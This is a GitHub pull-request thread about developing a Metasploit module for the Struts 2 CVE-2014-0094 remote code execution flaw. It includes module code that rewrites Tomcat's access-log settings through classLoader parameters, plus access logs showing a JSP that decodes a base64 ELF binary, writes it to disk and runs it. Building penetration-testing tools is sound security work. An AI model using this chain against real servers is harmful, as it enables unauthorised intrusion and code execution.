-
Notifications
You must be signed in to change notification settings - Fork 13.9k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add CVE-2014-0094 RCE for Struts 2 #3314
Conversation
Thanks @julianvilas ! I'll be working on it today! |
}, | ||
'Author' => | ||
[ | ||
'Mark Thomas and Przemyslaw Celej', # Vulnerability Discovery |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
One line for every author, please:
'Mark Thomas', # Vulnerability Discovery
'Przemyslaw Celej' # Vulnerability Discovery
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Done
msftidy makes an small complaint:
|
|
||
vprint_status("#{peer} - Waiting 10 seconds...") | ||
|
||
Rex.sleep(10) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Probably a code like the next one would be useful to test if the JSP is available, so you can avoid the plain Rex.sleep(10)
:
10.times do
select(nil, nil, nil, 2)
# Now make a request to trigger payload
print_status("#{peer} - Attempting to execute payload...")
res = exec_cmd(uri)
# Failure. The request timed out or the server went away.
break if res.nil?
# Success! Triggered the payload, should have a shell incoming
break if res.code == 200
end
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
OK I'll try. Thanks :)
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The problem here is that if the JSP is already created, it returns a 200 but the expected content hasn't been flushed already. Would be great if we can force a flush to the file, but if not i think it's better wait for it. What do you think?
I want the Struts v1 exploit! :D |
lol, is not affected rigth? :D |
Dough! xD It hurts :) |
Got this working using JSP injection over SMB in #3323. Should look at merging these in the near future. |
Landed after several cleanups, check landed version here: 150b89e Test:
|
Hi @0x41414141 would be nice. This one works with Tomcat 8, but it doesn't with Tomcat 6 or 7. AFAIK, with this approach the application is not crashed, only a logfile is created. However with the SMB server approach the application stops working anymore (till server reload). It would be cool to fingerprint the server version and select one or the other depending on the used version. What do you think? I've looked at your exploit and it seems very easy to merge with this. If I can help let me know :) Cheers! |
Hi @julianvilas, I'm still working on this one. It seems it's persistent on tomcat 6, and using appBase it loads a war on tomcat 8. Still working on a sploit for that. Yeah, my approach totally kills the running application, so it's one hit or nothing, I need to play with the variables to see if a shell can be deployed without killing the running app (no one wants that, right!?). Gimme a few days and I'll have something merge-worthy :-) |
@julianvilas @0x41414141 In light of the recent merge of this exploit with Struts 1.x, has there been any work into this on Tomcat < 8? |
|
||
def exec_cmd(uri, cmd = "") | ||
resp = send_request_cgi({ | ||
'uri' => uri+cmd, |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
@jvazquez-r7 @julianvilas sorry for the "after merge" comment but shoudn't this use vars_get
? Without it the GET parameters are not correctly URL encoded and can be dropped by some servers for example when having a reverse proxy in front of the struts app. Or is there a need for not uri encoded payloads? I had this problem once with another struts exploit - Tomcat accepts the non encoded part, but apache was in front of it and dropped it
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Hi,
seems the quote is from an old version before merge. @jvazquez-r7 did some cleanup before landing the PR at 150b89e.
There he introduced:
def dump_line(uri, cmd = "")
res = send_request_cgi({
'uri' => uri+cmd,
'version' => '1.1',
'method' => 'GET',
})
res
end
and modified:
def modify_class_loader(opts)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s),
'version' => '1.1',
'method' => 'GET',
'vars_get' => {
"class['classLoader'].resources.context.parent.pipeline.first.directory" => opts[:directory],
"class['classLoader'].resources.context.parent.pipeline.first.prefix" => opts[:prefix],
"class['classLoader'].resources.context.parent.pipeline.first.suffix" => opts[:suffix],
"class['classLoader'].resources.context.parent.pipeline.first.fileDateFormat" => opts[:file_date_format]
}
})
Later commits modified this functions a bit but more or less it's the same behavior than the current commit.
I've been testing it and you're right, seems that when using Apache mod_proxy the module fails, but it fails even when modifying the dump_line
to use vars_get
.
This is the log when using the landed module without mod_proxy (exploit succeeds):
127.0.0.1 - - [04/Feb/2015:10:53:52 +0100] "GET /hello_world/hello.action?class%5b%27classLoader%27%5d.resources.context.parent.pipeline.first.directory=webapps/ROOT&class%5b%27classLoader%27%5d.resources.context.parent.pipeline.first.prefix=w6P9h&class%5b%27classLoader%27%5d.resources.context.parent.pipeline.first.suffix=.jsp&class%5b%27classLoader%27%5d.resources.context.parent.pipeline.first.fileDateFormat=02 HTTP/1.1" 200 277
127.0.0.1 - - [04/Feb/2015:10:53:55 +0100] "GET /w6P9h02.jsp HTTP/1.1" 200 -
127.0.0.1 - - [04/Feb/2015:10:53:57 +0100] "GET /w6P9h02.jsp HTTP/1.1" 200 -
127.0.0.1 - - [04/Feb/2015:10:53:59 +0100] "GET /w6P9h02.jsp HTTP/1.1" 200 588
127.0.0.1 - - [04/Feb/2015:10:53:59 +0100] "GET VFY<%@ page import="java.io.FileOutputStream" %> HTTP/1.1" 505 -
127.0.0.1 - - [04/Feb/2015:10:53:59 +0100] "GET VFY<%@ page import="sun.misc.BASE64Decoder" %> HTTP/1.1" 505 -
127.0.0.1 - - [04/Feb/2015:10:53:59 +0100] "GET VFY<%@ page import="java.io.File" %> HTTP/1.1" 505 -
127.0.0.1 - - [04/Feb/2015:10:53:59 +0100] "GET VFY<% FileOutputStream oFile = new FileOutputStream("QuSZlJ", false); %> HTTP/1.1" 505 -
127.0.0.1 - - [04/Feb/2015:10:53:59 +0100] "GET VFY<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer("f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAijAAAA8gAAAAcAAAAAEAAAan1YmbIHuQAQAACJ42aB4wDwzYAx2/fjU0NTagKJ4bBmzYBbXlJoAgARXGoQUVCJ4WpmWM2A0eOwZs2AQ7BmiVEEzYCTtgywA82Aid//4Q==")); %> HTTP/1.1" 505 -
127.0.0.1 - - [04/Feb/2015:10:53:59 +0100] "GET VFY<% oFile.flush(); %> HTTP/1.1" 505 -
127.0.0.1 - - [04/Feb/2015:10:53:59 +0100] "GET VFY<% oFile.close(); %> HTTP/1.1" 505 -
127.0.0.1 - - [04/Feb/2015:10:53:59 +0100] "GET VFY<% File f = new File("QuSZlJ"); %> HTTP/1.1" 505 -
127.0.0.1 - - [04/Feb/2015:10:53:59 +0100] "GET VFY<% f.setExecutable(true); %> HTTP/1.1" 505 -
127.0.0.1 - - [04/Feb/2015:10:53:59 +0100] "GET VFY<% Runtime.getRuntime().exec("./QuSZlJ"); %> HTTP/1.1" 505 -
127.0.0.1 - - [04/Feb/2015:10:54:01 +0100] "GET /w6P9h02.jsp HTTP/1.1" 200 588
And this is the log when using mod_proxy:
127.0.0.1 - - [04/Feb/2015:11:09:41 +0100] "GET /hello_world/hello.action?class%5b%27classLoader%27%5d.resources.context.parent.pipeline.first.directory=webapps/ROOT&class%5b%27classLoader%27%5d.resources.context.parent.pipeline.first.prefix=DRcWe&class%5b%27classLoader%27%5d.resources.context.parent.pipeline.first.suffix=.jsp&class%5b%27classLoader%27%5d.resources.context.parent.pipeline.first.fileDateFormat=282 HTTP/1.1" 200 277
127.0.0.1 - - [04/Feb/2015:11:09:44 +0100] "GET /DRcWe282.jsp HTTP/1.1" 200 -
127.0.0.1 - - [04/Feb/2015:11:09:46 +0100] "GET /DRcWe282.jsp HTTP/1.1" 200 -
127.0.0.1 - - [04/Feb/2015:11:09:48 +0100] "GET /DRcWe282.jsp HTTP/1.1" 200 -
127.0.0.1 - - [04/Feb/2015:11:09:50 +0100] "GET /DRcWe282.jsp HTTP/1.1" 200 -
127.0.0.1 - - [04/Feb/2015:11:09:53 +0100] "GET /DRcWe282.jsp HTTP/1.1" 200 669
127.0.0.1 - - [04/Feb/2015:11:09:55 +0100] "GET /DRcWe282.jsp HTTP/1.1" 200 669
127.0.0.1 - - [04/Feb/2015:11:09:57 +0100] "GET /DRcWe282.jsp HTTP/1.1" 200 669
127.0.0.1 - - [04/Feb/2015:11:10:00 +0100] "GET /DRcWe282.jsp HTTP/1.1" 200 669
127.0.0.1 - - [04/Feb/2015:11:10:02 +0100] "GET /DRcWe282.jsp HTTP/1.1" 200 987
127.0.0.1 - - [04/Feb/2015:11:10:04 +0100] "GET /DRcWe282.jsp HTTP/1.1" 200 987
127.0.0.1 - - [04/Feb/2015:11:10:06 +0100] "GET /DRcWe282.jsp HTTP/1.1" 200 987
127.0.0.1 - - [04/Feb/2015:11:10:08 +0100] "GET /DRcWe282.jsp HTTP/1.1" 200 987
127.0.0.1 - - [04/Feb/2015:11:10:11 +0100] "GET /DRcWe282.jsp HTTP/1.1" 200 1307
127.0.0.1 - - [04/Feb/2015:11:10:13 +0100] "GET /DRcWe282.jsp HTTP/1.1" 200 1307
127.0.0.1 - - [04/Feb/2015:11:10:15 +0100] "GET /DRcWe282.jsp HTTP/1.1" 200 1307
It fails, and how you said the Apache doesn't seem to be passing the dump_line
sent requests to the Tomcat.
When using vars_get
in dump_line
the content is still stuck at mod_proxy level:
127.0.0.1 - - [04/Feb/2015:11:18:50 +0100] "GET /hello_world/hello.action?class%5b%27classLoader%27%5d.resources.context.parent.pipeline.first.directory=webapps/ROOT&class%5b%27classLoader%27%5d.resources.context.parent.pipeline.first.prefix=7J6&class%5b%27classLoader%27%5d.resources.context.parent.pipeline.first.suffix=.jsp&class%5b%27classLoader%27%5d.resources.context.parent.pipeline.first.fileDateFormat=5979 HTTP/1.1" 200 277
127.0.0.1 - - [04/Feb/2015:11:18:52 +0100] "GET /7J65979.jsp?= HTTP/1.1" 200 -
127.0.0.1 - - [04/Feb/2015:11:18:54 +0100] "GET /7J65979.jsp?= HTTP/1.1" 200 -
127.0.0.1 - - [04/Feb/2015:11:18:56 +0100] "GET /7J65979.jsp?= HTTP/1.1" 200 -
127.0.0.1 - - [04/Feb/2015:11:18:59 +0100] "GET /7J65979.jsp?= HTTP/1.1" 200 -
127.0.0.1 - - [04/Feb/2015:11:19:01 +0100] "GET /7J65979.jsp?= HTTP/1.1" 200 671
127.0.0.1 - - [04/Feb/2015:11:19:03 +0100] "GET /7J65979.jsp?= HTTP/1.1" 200 671
127.0.0.1 - - [04/Feb/2015:11:19:05 +0100] "GET /7J65979.jsp?= HTTP/1.1" 200 671
127.0.0.1 - - [04/Feb/2015:11:19:08 +0100] "GET /7J65979.jsp?= HTTP/1.1" 200 671
127.0.0.1 - - [04/Feb/2015:11:19:10 +0100] "GET /7J65979.jsp?= HTTP/1.1" 200 1074
127.0.0.1 - - [04/Feb/2015:11:19:12 +0100] "GET /7J65979.jsp?= HTTP/1.1" 200 1074
127.0.0.1 - - [04/Feb/2015:11:19:14 +0100] "GET /7J65979.jsp?= HTTP/1.1" 200 1074
127.0.0.1 - - [04/Feb/2015:11:19:16 +0100] "GET /7J65979.jsp?= HTTP/1.1" 200 1074
127.0.0.1 - - [04/Feb/2015:11:19:19 +0100] "GET /7J65979.jsp?= HTTP/1.1" 200 1402
127.0.0.1 - - [04/Feb/2015:11:19:21 +0100] "GET /7J65979.jsp?= HTTP/1.1" 200 1402
127.0.0.1 - - [04/Feb/2015:11:19:23 +0100] "GET /7J65979.jsp?= HTTP/1.1" 200 1402
but then it fails without mod_proxy too! looks like because the JSP code is URL encoded.
127.0.0.1 - - [04/Feb/2015:11:23:56 +0100] "GET /hello_world/hello.action?class%5b%27classLoader%27%5d.resources.context.parent.pipeline.first.directory=webapps/ROOT&class%5b%27classLoader%27%5d.resources.context.parent.pipeline.first.prefix=aVz&class%5b%27classLoader%27%5d.resources.context.parent.pipeline.first.suffix=.jsp&class%5b%27classLoader%27%5d.resources.context.parent.pipeline.first.fileDateFormat=1390 HTTP/1.1" 200 277
127.0.0.1 - - [04/Feb/2015:11:23:58 +0100] "GET /aVz1390.jsp?= HTTP/1.1" 200 -
127.0.0.1 - - [04/Feb/2015:11:24:00 +0100] "GET /aVz1390.jsp?= HTTP/1.1" 200 -
127.0.0.1 - - [04/Feb/2015:11:24:02 +0100] "GET /aVz1390.jsp?= HTTP/1.1" 200 513
127.0.0.1 - - [04/Feb/2015:11:24:02 +0100] "GET guy?%3c%25%40%20page%20import%3d%22java.io.FileOutputStream%22%20%25%3e= HTTP/1.1" 400 -
127.0.0.1 - - [04/Feb/2015:11:24:02 +0100] "GET guy?%3c%25%40%20page%20import%3d%22sun.misc.BASE64Decoder%22%20%25%3e= HTTP/1.1" 400 -
127.0.0.1 - - [04/Feb/2015:11:24:02 +0100] "GET guy?%3c%25%40%20page%20import%3d%22java.io.File%22%20%25%3e= HTTP/1.1" 400 -
127.0.0.1 - - [04/Feb/2015:11:24:02 +0100] "GET guy?%3c%25%20FileOutputStream%20oFile%20%3d%20new%20FileOutputStream%28%22QrN4N%22%2c%20false%29%3b%20%25%3e= HTTP/1.1" 400 -
127.0.0.1 - - [04/Feb/2015:11:24:03 +0100] "GET guy?%3c%25%20oFile.write%28new%20sun.misc.BASE64Decoder%28%29.decodeBuffer%28%22f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAijAAAA8gAAAAcAAAAAEAAAan1YmbIHuQAQAACJ42aB4wDwzYAx2/fjU0NTagKJ4bBmzYBbXlJoAgARXGoQUVCJ4WpmWM2A0eOwZs2AQ7BmiVEEzYCTtgywA82Aid//4Q%3d%3d%22%29%29%3b%20%25%3e= HTTP/1.1" 400 -
127.0.0.1 - - [04/Feb/2015:11:24:03 +0100] "GET guy?%3c%25%20oFile.flush%28%29%3b%20%25%3e= HTTP/1.1" 400 -
127.0.0.1 - - [04/Feb/2015:11:24:03 +0100] "GET guy?%3c%25%20oFile.close%28%29%3b%20%25%3e= HTTP/1.1" 400 -
127.0.0.1 - - [04/Feb/2015:11:24:03 +0100] "GET guy?%3c%25%20File%20f%20%3d%20new%20File%28%22QrN4N%22%29%3b%20%25%3e= HTTP/1.1" 400 -
127.0.0.1 - - [04/Feb/2015:11:24:03 +0100] "GET guy?%3c%25%20f.setExecutable%28true%29%3b%20%25%3e= HTTP/1.1" 400 -
127.0.0.1 - - [04/Feb/2015:11:24:03 +0100] "GET guy?%3c%25%20Runtime.getRuntime%28%29.exec%28%22./QrN4N%22%29%3b%20%25%3e= HTTP/1.1" 400 -
127.0.0.1 - - [04/Feb/2015:11:24:05 +0100] "GET /aVz1390.jsp?= HTTP/1.1" 200 513
Any idea?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
@hatRiot seems that SMB server lib that @0x41414141 did for this and another exploits is giving him more work than expected (#3323 (comment)).
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I've been testing it and you're right, seems that when using Apache mod_proxy the module fails, but it fails even when modifying the dump_line to use vars_get.
replacing the call to the dump_line:
random_request = rand_text_alphanumeric(3 + rand(3))
jsp.each_line do |l|
unless dump_line(random_request, l.chomp)
by
random_request = rand_text_alphanumeric(3 + rand(3))
uri = normalize_uri("/", random_request)
jsp.each_line do |l|
unless dump_line(uri, l.chomp)
makes the mod_proxy to send the requests to the tomcat, but again URL-encoded ;(.
To sum up:
- Module as it's right now:
- OK without mod_proxy
- KO with mod_proxy (due to Apache not relaying the payload to the tomcat)
- Module with
vars_get
:- KO without mod_proxy (due to URL-encoded JSP code)
- KO with mod_proxy (due to URL-encoded JSP code)
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
OK!, looks like I got it guys, take a look at #4708 :)
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I need to read this history, but thanks @firefart and @julianvilas for taking care. Will handle #4708 today!
Tested on Ubuntu 12.04 x86 with Tomcat 8.0.5 and Java 7, using targets "linux" and "java".